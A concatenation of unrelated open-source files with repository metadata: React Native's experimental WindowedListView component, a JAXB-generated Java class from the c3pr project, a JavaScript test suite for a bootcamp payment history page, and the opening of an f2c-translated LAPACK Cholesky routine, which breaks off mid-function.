/** * Copyright (c) 2015-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * * @providesModule WindowedListView * @flow */ 'use strict'; const Batchinator = require('Batchinator'); const IncrementalGroup = require('IncrementalGroup'); const React = require('React'); const ScrollView = require('ScrollView'); const Set = require('Set'); const StyleSheet = require('StyleSheet'); const Systrace = require('Systrace'); const View = require('View'); const ViewabilityHelper = require('ViewabilityHelper'); const clamp = require('clamp'); const deepDiffer = require('deepDiffer'); const infoLog = require('infoLog'); const invariant = require('fbjs/lib/invariant'); const nullthrows = require('fbjs/lib/nullthrows'); import type {NativeMethodsMixinType} from 'ReactNativeTypes'; const DEBUG = false; /** * An experimental ListView implementation designed for efficient memory usage * when rendering huge/infinite lists. It works by rendering a subset of rows * and replacing offscreen rows with an empty spacer, which means that it has to * re-render rows when scrolling back up. * * Note that rows must be the same height when they are re-mounted as when they * are unmounted otherwise the content will jump around. This means that any * state that affects the height, such as tap to expand, should be stored * outside the row component to maintain continuity. * * This is not a drop-in replacement for `ListView` - many features are not * supported, including section headers, dataSources, horizontal layout, etc. * * Row data should be provided as a simple array corresponding to rows. `===` * is used to determine if a row has changed and should be re-rendered. * * Rendering is done incrementally one row at a time to minimize the amount of * work done per JS event tick. Individual rows can also use <Incremental> * to further break up the work and keep the app responsive and improve scroll * perf if rows get exceedingly complex. * * Note that it's possible to scroll faster than rows can be rendered. Instead * of showing the user a bunch of un-mounted blank space, WLV sets contentInset * to prevent scrolling into unrendered areas. Supply the * `renderWindowBoundaryIndicator` prop to indicate the boundary to the user, * e.g. with a row placeholder. */ type Props = { /** * A simple array of data blobs that are passed to the renderRow function in * order. Note there is no dataSource like in the standard `ListView`. */ data: Array<{rowKey: string, rowData: any}>, /** * Takes a data blob from the `data` array prop plus some meta info and should * return a row. */ renderRow: ( rowData: any, sectionIdx: number, rowIdx: number, rowKey: string ) => ?React.Element<any>, /** * Rendered when the list is scrolled faster than rows can be rendered. */ renderWindowBoundaryIndicator?: ( showIndicator: boolean, ) => ?React.Element<any>, /** * Always rendered at the bottom of all the rows. */ renderFooter?: ( showFooter: boolean, ) => ?React.Element<any>, /** * Pipes through normal onScroll events from the underlying `ScrollView`. */ onScroll?: (event: Object) => void, /** * Called when the rows that are visible in the viewport change. */ onVisibleRowsChanged?: (firstIdx: number, count: number) => void, /** * Called when the viewability of rows changes, as defined by the * `viewablePercentThreshold` prop. */ onViewableRowsChanged?: (viewableRows: Array<number>) => void, /** * The percent of a row that must be visible to consider it "viewable". */ viewablePercentThreshold: number, /** * Number of rows to render on first mount. */ initialNumToRender: number, /** * Maximum number of rows to render while scrolling, i.e. the window size. */ maxNumToRender: number, /** * Number of rows to render beyond the viewport. Note that this combined with * `maxNumToRender` and the number of rows that can fit in one screen will * determine how many rows to render above the viewport. */ numToRenderAhead: number, /** * Used to log perf events for async row rendering. */ asyncRowPerfEventName?: string, /** * A function that returns the scrollable component in which the list rows * are rendered. Defaults to returning a ScrollView with the given props. */ renderScrollComponent: (props: ?Object) => React.Element<any>, /** * Use to disable incremental rendering when not wanted, e.g. to speed up initial render. */ disableIncrementalRendering: boolean, /** * This determines how frequently events such as scroll and layout can trigger a re-render. */ recomputeRowsBatchingPeriod: number, /** * Called when rows will be mounted/unmounted. Mounted rows always form a contiguous block so it * is expressed as a range of start plus count. */ onMountedRowsWillChange?: (firstIdx: number, count: number) => void, /** * Change this when you want to make sure the WindowedListView will re-render, for example when * the result of `renderScrollComponent` might change. It will be compared in * `shouldComponentUpdate`. */ shouldUpdateToken?: string, }; type State = { boundaryIndicatorHeight?: number, firstRow: number, lastRow: number, }; class WindowedListView extends React.Component<Props, State> { /** * Recomputing which rows to render is batched up and run asynchronously to avoid wastful updates, * e.g. from multiple layout updates in rapid succession. */ _computeRowsToRenderBatcher: Batchinator; _firstVisible: number = -1; _lastVisible: number = -1; _scrollOffsetY: number = 0; _isScrolling: boolean = false; _frameHeight: number = 0; _rowFrames: {[key: string]: Object} = {}; _rowRenderMode: {[key: string]: null | 'async' | 'sync'} = {}; _rowFramesDirty: boolean = false; _hasCalledOnEndReached: boolean = false; _willComputeRowsToRender: boolean = false; _viewableRows: Array<number> = []; _cellsInProgress: Set<string> = new Set(); _scrollRef: ?ScrollView; _viewabilityHelper: ViewabilityHelper; static defaultProps = { initialNumToRender: 10, maxNumToRender: 30, numToRenderAhead: 10, viewablePercentThreshold: 50, renderScrollComponent: (props) => <ScrollView {...props} />, disableIncrementalRendering: false, recomputeRowsBatchingPeriod: 10, // This should capture most events that happen within a frame }; constructor(props: Props) { super(props); invariant( this.props.numToRenderAhead < this.props.maxNumToRender, 'WindowedListView: numToRenderAhead must be less than maxNumToRender' ); this._computeRowsToRenderBatcher = new Batchinator( () => this._computeRowsToRender(this.props), this.props.recomputeRowsBatchingPeriod, ); this._viewabilityHelper = new ViewabilityHelper({ viewAreaCoveragePercentThreshold: this.props.viewablePercentThreshold, }); this.state = { firstRow: 0, lastRow: Math.min(this.props.data.length, this.props.initialNumToRender) - 1, }; } getScrollResponder(): ?ScrollView { return this._scrollRef && this._scrollRef.getScrollResponder && this._scrollRef.getScrollResponder(); } shouldComponentUpdate(newProps: Props, newState: State): boolean { DEBUG && infoLog('WLV: shouldComponentUpdate...'); if (newState !== this.state) { DEBUG && infoLog(' yes: ', {newState, oldState: this.state}); return true; } for (const key in newProps) { if (key !== 'data' && newProps[key] !== this.props[key]) { DEBUG && infoLog(' yes, non-data prop change: ', {key}); return true; } } const newDataSubset = newProps.data.slice(newState.firstRow, newState.lastRow + 1); const prevDataSubset = this.props.data.slice(this.state.firstRow, this.state.lastRow + 1); if (newDataSubset.length !== prevDataSubset.length) { DEBUG && infoLog( ' yes, subset length: ', {newLen: newDataSubset.length, oldLen: prevDataSubset.length} ); return true; } for (let idx = 0; idx < newDataSubset.length; idx++) { if (newDataSubset[idx].rowData !== prevDataSubset[idx].rowData || newDataSubset[idx].rowKey !== prevDataSubset[idx].rowKey) { DEBUG && infoLog( ' yes, data change: ', {idx, new: newDataSubset[idx], old: prevDataSubset[idx]} ); return true; } } DEBUG && infoLog(' knope'); return false; } componentWillReceiveProps() { this._computeRowsToRenderBatcher.schedule(); } _onMomentumScrollEnd = (e: Object) => { this._onScroll(e); }; _getFrameMetrics = (index: number): ?{length: number, offset: number} => { const frame = this._rowFrames[this.props.data[index].rowKey]; return frame && {length: frame.height, offset: frame.y}; } _onScroll = (e: Object) => { const newScrollY = e.nativeEvent.contentOffset.y; this._isScrolling = this._scrollOffsetY !== newScrollY; this._scrollOffsetY = newScrollY; this._frameHeight = e.nativeEvent.layoutMeasurement.height; // We don't want to enqueue any updates if any cells are in the middle of an incremental render, // because it would just be wasted work. if (this._cellsInProgress.size === 0) { this._computeRowsToRenderBatcher.schedule(); } if (this.props.onViewableRowsChanged && Object.keys(this._rowFrames).length) { const viewableRows = this._viewabilityHelper.computeViewableItems( this.props.data.length, e.nativeEvent.contentOffset.y, e.nativeEvent.layoutMeasurement.height, this._getFrameMetrics, ); if (deepDiffer(viewableRows, this._viewableRows)) { this._viewableRows = viewableRows; nullthrows(this.props.onViewableRowsChanged)(this._viewableRows); } } this.props.onScroll && this.props.onScroll(e); }; // Caller does the diffing so we don't have to. _onNewLayout = (params: {rowKey: string, layout: Object}) => { const {rowKey, layout} = params; if (DEBUG) { const prev = this._rowFrames[rowKey] || {}; infoLog( 'record layout for row: ', {k: rowKey, h: layout.height, y: layout.y, x: layout.x, hp: prev.height, yp: prev.y} ); if (this._rowFrames[rowKey]) { const deltaY = Math.abs(this._rowFrames[rowKey].y - layout.y); const deltaH = Math.abs(this._rowFrames[rowKey].height - layout.height); if (deltaY > 2 || deltaH > 2) { const dataEntry = this.props.data.find((datum) => datum.rowKey === rowKey); console.warn( 'layout jump: ', {dataEntry, prevLayout: this._rowFrames[rowKey], newLayout: layout} ); } } } this._rowFrames[rowKey] = {...layout, offscreenLayoutDone: true}; this._rowFramesDirty = true; if (this._cellsInProgress.size === 0) { this._computeRowsToRenderBatcher.schedule(); } }; _onWillUnmountCell = (rowKey: string) => { if (this._rowFrames[rowKey]) { this._rowFrames[rowKey].offscreenLayoutDone = false; this._rowRenderMode[rowKey] = null; } }; /** * This is used to keep track of cells that are in the process of rendering. If any cells are in * progress, then other updates are skipped because they will just be wasted work. */ _onProgressChange = ({rowKey, inProgress}: {rowKey: string, inProgress: boolean}) => { if (inProgress) { this._cellsInProgress.add(rowKey); } else { this._cellsInProgress.delete(rowKey); } }; componentWillUnmount() { this._computeRowsToRenderBatcher.dispose(); } _computeRowsToRender(props: Object): void { const totalRows = props.data.length; if (totalRows === 0) { this._updateVisibleRows(-1, -1); this.setState({ firstRow: 0, lastRow: -1, }); return; } const rowFrames = this._rowFrames; let firstVisible = -1; let lastVisible = 0; let lastRow = clamp(0, this.state.lastRow, totalRows - 1); const top = this._scrollOffsetY; const bottom = top + this._frameHeight; for (let idx = 0; idx < lastRow; idx++) { const frame = rowFrames[props.data[idx].rowKey]; if (!frame) { // No frame - sometimes happens when they come out of order, so just wait for the rest. return; } if (((frame.y + frame.height) > top) && (firstVisible < 0)) { firstVisible = idx; } if (frame.y < bottom) { lastVisible = idx; } else { break; } } if (firstVisible === -1) { firstVisible = 0; } this._updateVisibleRows(firstVisible, lastVisible); // Unfortuantely, we can't use <Incremental> to simplify our increment logic in this function // because we need to make sure that cells are rendered in the right order one at a time when // scrolling back up. const numRendered = lastRow - this.state.firstRow + 1; // Our last row target that we will approach incrementally const targetLastRow = clamp( numRendered - 1, // Don't reduce numRendered when scrolling back up lastVisible + props.numToRenderAhead, // Primary goal totalRows - 1, // Don't render past the end ); // Increment the last row one at a time per JS event loop if (targetLastRow > this.state.lastRow) { lastRow++; } else if (targetLastRow < this.state.lastRow) { lastRow--; } // Once last row is set, figure out the first row const firstRow = Math.max( 0, // Don't render past the top lastRow - props.maxNumToRender + 1, // Don't exceed max to render lastRow - numRendered, // Don't render more than 1 additional row ); if (lastRow >= totalRows) { // It's possible that the number of rows decreased by more than one // increment could compensate for. Need to make sure we don't render more // than one new row at a time, but don't want to render past the end of // the data. lastRow = totalRows - 1; } if (props.onEndReached) { // Make sure we call onEndReached exactly once every time we reach the // end. Resets if scoll back up and down again. const willBeAtTheEnd = lastRow === (totalRows - 1); if (willBeAtTheEnd && !this._hasCalledOnEndReached) { props.onEndReached(); this._hasCalledOnEndReached = true; } else { // If lastRow is changing, reset so we can call onEndReached again this._hasCalledOnEndReached = this.state.lastRow === lastRow; } } const rowsShouldChange = firstRow !== this.state.firstRow || lastRow !== this.state.lastRow; if (this._rowFramesDirty || rowsShouldChange) { if (rowsShouldChange) { props.onMountedRowsWillChange && props.onMountedRowsWillChange(firstRow, lastRow - firstRow + 1); infoLog( 'WLV: row render range will change:', {firstRow, firstVis: this._firstVisible, lastVis: this._lastVisible, lastRow}, ); } this._rowFramesDirty = false; this.setState({firstRow, lastRow}); } } _updateVisibleRows(newFirstVisible: number, newLastVisible: number) { if (this.props.onVisibleRowsChanged) { if (this._firstVisible !== newFirstVisible || this._lastVisible !== newLastVisible) { this.props.onVisibleRowsChanged(newFirstVisible, newLastVisible - newFirstVisible + 1); } } this._firstVisible = newFirstVisible; this._lastVisible = newLastVisible; } render(): React.Node { const {firstRow} = this.state; const lastRow = clamp(0, this.state.lastRow, this.props.data.length - 1); const rowFrames = this._rowFrames; const rows = []; let spacerHeight = 0; // Incremental rendering is a tradeoff between throughput and responsiveness. When we have // plenty of buffer (say 50% of the target), we render incrementally to keep the app responsive. // If we are dangerously low on buffer (say below 25%) we always disable incremental to try to // catch up as fast as possible. In the middle, we only disable incremental while scrolling // since it's unlikely the user will try to press a button while scrolling. We also ignore the // "buffer" size when we are bumped up against the edge of the available data. const firstBuffer = firstRow === 0 ? Infinity : this._firstVisible - firstRow; const lastBuffer = lastRow === this.props.data.length - 1 ? Infinity : lastRow - this._lastVisible; const minBuffer = Math.min(firstBuffer, lastBuffer); const disableIncrementalRendering = this.props.disableIncrementalRendering || (this._isScrolling && minBuffer < this.props.numToRenderAhead * 0.5) || (minBuffer < this.props.numToRenderAhead * 0.25); // Render mode is sticky while the component is mounted. for (let ii = firstRow; ii <= lastRow; ii++) { const rowKey = this.props.data[ii].rowKey; if ( this._rowRenderMode[rowKey] === 'sync' || (disableIncrementalRendering && this._rowRenderMode[rowKey] !== 'async') ) { this._rowRenderMode[rowKey] = 'sync'; } else { this._rowRenderMode[rowKey] = 'async'; } } for (let ii = firstRow; ii <= lastRow; ii++) { const rowKey = this.props.data[ii].rowKey; if (!rowFrames[rowKey]) { break; // if rowFrame missing, no following ones will exist so quit early } // Look for the first row where offscreen layout is done (only true for mounted rows) or it // will be rendered synchronously and set the spacer height such that it will offset all the // unmounted rows before that one using the saved frame data. if (rowFrames[rowKey].offscreenLayoutDone || this._rowRenderMode[rowKey] === 'sync') { if (ii > 0) { const prevRowKey = this.props.data[ii - 1].rowKey; const frame = rowFrames[prevRowKey]; spacerHeight = frame ? frame.y + frame.height : 0; } break; } } let showIndicator = false; if ( spacerHeight > (this.state.boundaryIndicatorHeight || 0) && this.props.renderWindowBoundaryIndicator ) { showIndicator = true; spacerHeight -= this.state.boundaryIndicatorHeight || 0; } DEBUG && infoLog('render top spacer with height ', spacerHeight); rows.push(<View key="sp-top" style={{height: spacerHeight}} />); if (this.props.renderWindowBoundaryIndicator) { // Always render it, even if removed, so that we can get the height right away and don't waste // time creating/ destroying it. Should see if there is a better spinner option that is not as // expensive. rows.push( <View style={!showIndicator && styles.remove} key="ind-top" onLayout={(e) => { const layout = e.nativeEvent.layout; if (layout.height !== this.state.boundaryIndicatorHeight) { this.setState({boundaryIndicatorHeight: layout.height}); } }}> {this.props.renderWindowBoundaryIndicator(showIndicator)} </View> ); } for (let idx = firstRow; idx <= lastRow; idx++) { const rowKey = this.props.data[idx].rowKey; const includeInLayout = this._rowRenderMode[rowKey] === 'sync' || (this._rowFrames[rowKey] && this._rowFrames[rowKey].offscreenLayoutDone); rows.push( <CellRenderer key={rowKey} rowKey={rowKey} rowIndex={idx} onNewLayout={this._onNewLayout} onWillUnmount={this._onWillUnmountCell} includeInLayout={includeInLayout} onProgressChange={this._onProgressChange} asyncRowPerfEventName={this.props.asyncRowPerfEventName} rowData={this.props.data[idx].rowData} renderRow={this.props.renderRow} /> ); } const lastRowKey = this.props.data[lastRow].rowKey; const showFooter = this._rowFrames[lastRowKey] && this._rowFrames[lastRowKey].offscreenLayoutDone && lastRow === this.props.data.length - 1; if (this.props.renderFooter) { rows.push( <View key="ind-footer" style={showFooter ? styles.include : styles.remove}> {this.props.renderFooter(showFooter)} </View> ); } if (this.props.renderWindowBoundaryIndicator) { rows.push( <View key="ind-bot" style={showFooter ? styles.remove : styles.include} onLayout={(e) => { const layout = e.nativeEvent.layout; if (layout.height !== this.state.boundaryIndicatorHeight) { this.setState({boundaryIndicatorHeight: layout.height}); } }}> {this.props.renderWindowBoundaryIndicator(!showFooter)} </View> ); } // Prevent user from scrolling into empty space of unmounted rows. const contentInset = {top: firstRow === 0 ? 0 : -spacerHeight}; return ( this.props.renderScrollComponent({ scrollEventThrottle: 50, removeClippedSubviews: true, ...this.props, contentInset, ref: (ref) => { this._scrollRef = ref; }, onScroll: this._onScroll, onMomentumScrollEnd: this._onMomentumScrollEnd, children: rows, }) ); } } // performance testing id, unique for each component mount cycle let g_perf_update_id = 0; type CellProps = { /** * Row-specific data passed to renderRow and used in shouldComponentUpdate with === */ rowData: mixed, rowKey: string, /** * Renders the actual row contents. */ renderRow: ( rowData: mixed, sectionIdx: number, rowIdx: number, rowKey: string ) => ?React.Element<any>, /** * Index of the row, passed through to other callbacks. */ rowIndex: number, /** * Used for marking async begin/end events for row rendering. */ asyncRowPerfEventName: ?string, /** * Initially false to indicate the cell should be rendered "offscreen" with position: absolute so * that incremental rendering doesn't cause things to jump around. Once onNewLayout is called * after offscreen rendering has completed, includeInLayout will be set true and the finished cell * can be dropped into place. * * This is coordinated outside this component so the parent can syncronize this re-render with * managing the placeholder sizing. */ includeInLayout: boolean, /** * Updates the parent with the latest layout. Only called when incremental rendering is done and * triggers the parent to re-render this row with includeInLayout true. */ onNewLayout: (params: {rowKey: string, layout: Object}) => void, /** * Used to track when rendering is in progress so the parent can avoid wastedful re-renders that * are just going to be invalidated once the cell finishes. */ onProgressChange: (progress: {rowKey: string, inProgress: boolean}) => void, /** * Used to invalidate the layout so the parent knows it needs to compensate for the height in the * placeholder size. */ onWillUnmount: (rowKey: string) => void, }; class CellRenderer extends React.Component<CellProps> { _containerRef: NativeMethodsMixinType; _offscreenRenderDone = false; _timeout = 0; _lastLayout: ?Object = null; _perfUpdateID: number = 0; _asyncCookie: any; _includeInLayoutLatch: boolean = false; componentWillMount() { if (this.props.asyncRowPerfEventName) { this._perfUpdateID = g_perf_update_id++; this._asyncCookie = Systrace.beginAsyncEvent( this.props.asyncRowPerfEventName + this._perfUpdateID ); // $FlowFixMe(>=0.28.0) infoLog(`perf_asynctest_${this.props.asyncRowPerfEventName}_start ${this._perfUpdateID} ` + `${Date.now()}`); } if (this.props.includeInLayout) { this._includeInLayoutLatch = true; } this.props.onProgressChange({rowKey: this.props.rowKey, inProgress: true}); } _onLayout = (e) => { const layout = e.nativeEvent.layout; const layoutChanged = deepDiffer(this._lastLayout, layout); this._lastLayout = layout; if (!this._offscreenRenderDone || !layoutChanged) { return; // Don't send premature or duplicate updates } this.props.onNewLayout({ rowKey: this.props.rowKey, layout, }); }; _updateParent() { invariant(!this._offscreenRenderDone, 'should only finish rendering once'); this._offscreenRenderDone = true; // If this is not called before calling onNewLayout, the number of inProgress cells will remain // non-zero, and thus the onNewLayout call will not fire the needed state change update. this.props.onProgressChange({rowKey: this.props.rowKey, inProgress: false}); // If an onLayout event hasn't come in yet, then we skip here and assume it will come in later. // This happens when Incremental is disabled and _onOffscreenRenderDone is called faster than // layout can happen. this._lastLayout && this.props.onNewLayout({rowKey: this.props.rowKey, layout: this._lastLayout}); DEBUG && infoLog('\n >>>>> display row ' + this.props.rowIndex + '\n\n\n'); if (this.props.asyncRowPerfEventName) { // Note this doesn't include the native render time but is more accurate than also including // the JS render time of anything that has been queued up. Systrace.endAsyncEvent( this.props.asyncRowPerfEventName + this._perfUpdateID, this._asyncCookie ); // $FlowFixMe(>=0.28.0) infoLog(`perf_asynctest_${this.props.asyncRowPerfEventName}_end ${this._perfUpdateID} ` + `${Date.now()}`); } } _onOffscreenRenderDone = () => { DEBUG && infoLog('_onOffscreenRenderDone for row ' + this.props.rowIndex); if (this._includeInLayoutLatch) { this._updateParent(); // rendered straight into layout, so no need to flush } else { this._timeout = setTimeout(() => this._updateParent(), 1); // Flush any pending layout events. } }; componentWillUnmount() { clearTimeout(this._timeout); this.props.onProgressChange({rowKey: this.props.rowKey, inProgress: false}); this.props.onWillUnmount(this.props.rowKey); } componentWillReceiveProps(newProps) { if (newProps.includeInLayout && !this.props.includeInLayout) { invariant(this._offscreenRenderDone, 'Should never try to add to layout before render done'); this._includeInLayoutLatch = true; // Once we render in layout, make sure it sticks. this._containerRef.setNativeProps({style: styles.include}); } } shouldComponentUpdate(newProps: CellProps) { return newProps.rowData !== this.props.rowData; } _setRef = (ref) => { /* $FlowFixMe(>=0.53.0 site=react_native_fb) This comment suppresses an * error when upgrading Flow's support for React. Common errors found when * upgrading Flow's React support are documented at * https://fburl.com/eq7bs81w */ this._containerRef = ref; }; render() { let debug; if (DEBUG) { infoLog('render cell ' + this.props.rowIndex); const Text = require('Text'); debug = <Text style={{backgroundColor: 'lightblue'}}> Row: {this.props.rowIndex} </Text>; } const style = this._includeInLayoutLatch ? styles.include : styles.remove; return ( <IncrementalGroup disabled={this._includeInLayoutLatch} onDone={this._onOffscreenRenderDone} name={`WLVCell_${this.props.rowIndex}`}> <View ref={this._setRef} style={style} onLayout={this._onLayout}> {debug} {this.props.renderRow(this.props.rowData, 0, this.props.rowIndex, this.props.rowKey)} {debug} </View> </IncrementalGroup> ); } } const removedXOffset = DEBUG ? 123 : 0; const styles = StyleSheet.create({ include: { position: 'relative', left: 0, right: 0, opacity: 1, }, remove: { position: 'absolute', left: removedXOffset, right: -removedXOffset, opacity: DEBUG ? 0.1 : 0, }, }); module.exports = WindowedListView;
makadaw/react-native
Libraries/Experimental/WindowedListView.js
JavaScript
bsd-3-clause
28,501
/******************************************************************************* * Copyright Duke Comprehensive Cancer Center and SemanticBits * * Distributed under the OSI-approved BSD 3-Clause License. * See http://ncip.github.com/c3pr/LICENSE.txt for details. *******************************************************************************/ package edu.duke.cabig.c3pr.webservice.iso21090; import java.util.ArrayList; import java.util.List; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlType; /** * <p>Java class for QSI_TS.DateTime complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType name="QSI_TS.DateTime"> * &lt;complexContent> * &lt;extension base="{uri:iso.org:21090}QSET_TS.DateTime"> * &lt;sequence> * &lt;element name="term" type="{uri:iso.org:21090}QSET_TS.DateTime" maxOccurs="unbounded" minOccurs="0"/> * &lt;/sequence> * &lt;/extension> * &lt;/complexContent> * &lt;/complexType> * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "QSI_TS.DateTime", propOrder = { "term" }) public class QSITSDateTime extends QSETTSDateTime { protected List<QSETTSDateTime> term; /** * Gets the value of the term property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the term property. * * <p> * For example, to add a new item, do as follows: * <pre> * getTerm().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link QSETTSDateTime } * * */ public List<QSETTSDateTime> getTerm() { if (term == null) { term = new ArrayList<QSETTSDateTime>(); } return this.term; } }
NCIP/c3pr
codebase/projects/ws-client/src/edu/duke/cabig/c3pr/webservice/iso21090/QSITSDateTime.java
Java
bsd-3-clause
2,212
// @flow import { assert } from "chai" import sinon from "sinon" import PaymentHistoryPage from "./PaymentHistoryPage" import { calcOrderBalances } from "../../lib/applicationApi" import IntegrationTestHelper from "../../util/integration_test_helper" import { makeCountries } from "../../factories/user" import { makeApplicationDetail } from "../../factories/application" import { formatPrice, formatReadableDateFromStr, formatRunDateRange } from "../../util/util" import { generateOrder, generateLegacyOrderPartial } from "../../factories" import { isIf, shouldIf } from "../../lib/test_utils" describe("PaymentHistoryPage", () => { let helper, countries, fakeApplicationDetail, renderPage beforeEach(() => { countries = makeCountries() fakeApplicationDetail = makeApplicationDetail() helper = new IntegrationTestHelper() helper.handleRequestStub .withArgs(`/api/applications/${String(fakeApplicationDetail.id)}/`) .returns({ status: 200, body: fakeApplicationDetail }) helper.handleRequestStub.withArgs("/api/countries/").returns({ status: 200, body: countries }) renderPage = helper.configureReduxQueryRenderer(PaymentHistoryPage, { match: { params: { applicationId: fakeApplicationDetail.id } } }) window.print = helper.sandbox.stub() }) afterEach(() => { helper.cleanup() }) it("prints", async () => { const { wrapper } = await renderPage() wrapper.find(".print").prop("onClick")() sinon.assert.calledWith(window.print) }) it("shows the bootcamp title and dates", async () => { const { wrapper } = await renderPage() assert.include( wrapper.find(".bootcamp-title").text(), fakeApplicationDetail.bootcamp_run.title ) assert.include( wrapper.find(".bootcamp-dates").text(), formatRunDateRange(fakeApplicationDetail.bootcamp_run) ) }) it("renders order information", async () => { fakeApplicationDetail.orders.push(generateOrder()) const { wrapper } = await renderPage() const { ordersAndBalances } = calcOrderBalances(fakeApplicationDetail) fakeApplicationDetail.orders.forEach((order, i) => { const orderWrapper = wrapper.find(".order").at(i) assert.include(orderWrapper.find(".payment-date").text(), "Payment Date:") assert.include( orderWrapper.find(".payment-date").text(), formatReadableDateFromStr(order.updated_on) ) assert.include(orderWrapper.find(".amount-paid").text(), "Amount Paid:") assert.include( orderWrapper.find(".amount-paid").text(), formatPrice(order.total_price_paid) ) assert.include( orderWrapper.find(".balance").text(), formatPrice(ordersAndBalances[i].balance) ) assert.include( orderWrapper.find(".payment-method").text(), order.payment_method ) }) }) it("renders refund information", async () => { const refund = { ...generateLegacyOrderPartial(), total_price_paid: -10, payment_method: "Visa:1234" } fakeApplicationDetail.orders = [refund] const { wrapper } = await renderPage() const { ordersAndBalances } = calcOrderBalances(fakeApplicationDetail) const orderWrapper = wrapper.find(".order") assert.include(orderWrapper.find(".payment-date").text(), "Refund Date:") assert.include( orderWrapper.find(".payment-date").text(), formatReadableDateFromStr(refund.updated_on) ) assert.include(orderWrapper.find(".amount-paid").text(), "Amount Refunded:") assert.include( orderWrapper.find(".amount-paid").text(), formatPrice(refund.total_price_paid) ) assert.include( orderWrapper.find(".balance").text(), formatPrice(ordersAndBalances[0].balance) ) assert.include( orderWrapper.find(".payment-method").text(), refund.payment_method ) }) it("does not render the payment method if it is blank", async () => { const nullPaymentMethodOrder = { ...generateLegacyOrderPartial(), total_price_paid: 10, payment_method: "" } fakeApplicationDetail.orders = [nullPaymentMethodOrder] const { wrapper } = await renderPage() assert.isNotOk(wrapper.find(".payment-method").exists()) }) it("renders the summary", async () => { const { wrapper } = await renderPage() const { balanceRemaining, totalPaid, totalPrice } = calcOrderBalances( fakeApplicationDetail ) assert.include( wrapper.find(".summary .total-paid").text(), formatPrice(totalPaid) ) assert.include( wrapper.find(".summary .balance").text(), formatPrice(balanceRemaining) ) assert.include( wrapper.find(".summary .amount-due").text(), formatPrice(totalPrice) ) }) it("renders customer information", async () => { const { wrapper } = await renderPage() assert.include( wrapper.find(".name").text(), // $FlowFixMe fakeApplicationDetail.user.profile.name ) assert.include( wrapper.find(".email").text(), // $FlowFixMe fakeApplicationDetail.user.email ) assert.deepEqual(wrapper.find("Address").props(), { application: fakeApplicationDetail, countries }) }) // ;[true, false].forEach(isLoading => { it(`${shouldIf(isLoading)} show a loader if the page ${isIf( isLoading )} loading`, async () => { helper.isLoadingStub.returns(isLoading) const { wrapper } = await renderPage() assert.equal(wrapper.find("FullLoader").exists(), isLoading) }) }) })
mitodl/bootcamp-ecommerce
static/js/pages/applications/PaymentHistoryPage_test.js
JavaScript
bsd-3-clause
5,670
/* zpstf2.f -- translated by f2c (version 20061008). You must link the resulting object file with libf2c: on Microsoft Windows system, link with libf2c.lib; on Linux or Unix systems, link with .../path/to/libf2c.a -lm or, if you install libf2c.a in a standard place, with -lf2c -lm -- in that order, at the end of the command line, as in cc *.o -lf2c -lm Source for libf2c is in /netlib/f2c/libf2c.zip, e.g., http://www.netlib.org/f2c/libf2c.zip */ #include "f2c.h" #include "blaswrap.h" /* Table of constant values */ static doublecomplex c_b1 = {1.,0.}; static integer c__1 = 1; /* Subroutine */ int zpstf2_(char *uplo, integer *n, doublecomplex *a, integer *lda, integer *piv, integer *rank, doublereal *tol, doublereal *work, integer *info) { /* System generated locals */ integer a_dim1, a_offset, i__1, i__2, i__3; doublereal d__1; doublecomplex z__1, z__2; /* Local variables */ integer i__, j, maxlocval; doublereal ajj; integer pvt; doublereal dtemp; integer itemp; doublereal dstop; logical upper; doublecomplex ztemp; /* -- LAPACK PROTOTYPE routine (version 3.2) -- */ /* Craig Lucas, University of Manchester / NAG Ltd. */ /* October, 2008 */ /* Purpose */ /* ======= */ /* ZPSTF2 computes the Cholesky factorization with complete */ /* pivoting of a complex Hermitian positive semidefinite matrix A. */ /* The factorization has the form */ /* P' * A * P = U' * U , if UPLO = 'U', */ /* P' * A * P = L * L', if UPLO = 'L', */ /* where U is an upper triangular matrix and L is lower triangular, and */ /* P is stored as vector PIV. */ /* This algorithm does not attempt to check that A is positive */ /* semidefinite. This version of the algorithm calls level 2 BLAS. */ /* Arguments */ /* ========= */ /* UPLO (input) CHARACTER*1 */ /* Specifies whether the upper or lower triangular part of the */ /* symmetric matrix A is stored. */ /* = 'U': Upper triangular */ /* = 'L': Lower triangular */ /* N (input) INTEGER */ /* The order of the matrix A. N >= 0. */ /* A (input/output) COMPLEX*16 array, dimension (LDA,N) */ /* On entry, the symmetric matrix A. If UPLO = 'U', the leading */ /* n by n upper triangular part of A contains the upper */ /* triangular part of the matrix A, and the strictly lower */ /* triangular part of A is not referenced. If UPLO = 'L', the */ /* leading n by n lower triangular part of A contains the lower */ /* triangular part of the matrix A, and the strictly upper */ /* triangular part of A is not referenced. */ /* On exit, if INFO = 0, the factor U or L from the Cholesky */ /* factorization as above. */ /* PIV (output) INTEGER array, dimension (N) */ /* PIV is such that the nonzero entries are P( PIV(K), K ) = 1. */ /* RANK (output) INTEGER */ /* The rank of A given by the number of steps the algorithm */ /* completed. */ /* TOL (input) DOUBLE PRECISION */ /* User defined tolerance. If TOL < 0, then N*U*MAX( A( K,K ) ) */ /* will be used. The algorithm terminates at the (K-1)st step */ /* if the pivot <= TOL. */ /* LDA (input) INTEGER */ /* The leading dimension of the array A. LDA >= max(1,N). */ /* WORK DOUBLE PRECISION array, dimension (2*N) */ /* Work space. */ /* INFO (output) INTEGER */ /* < 0: If INFO = -K, the K-th argument had an illegal value, */ /* = 0: algorithm completed successfully, and */ /* > 0: the matrix A is either rank deficient with computed rank */ /* as returned in RANK, or is indefinite. See Section 7 of */ /* LAPACK Working Note #161 for further information. */ /* ===================================================================== */ /* Test the input parameters */ /* Parameter adjustments */ --work; --piv; a_dim1 = *lda; a_offset = 1 + a_dim1; a -= a_offset; /* Function Body */ *info = 0; upper = lsame_(uplo, "U"); if (! upper && ! lsame_(uplo, "L")) { *info = -1; } else if (*n < 0) { *info = -2; } else if (*lda < max(1,*n)) { *info = -4; } if (*info != 0) { i__1 = -(*info); 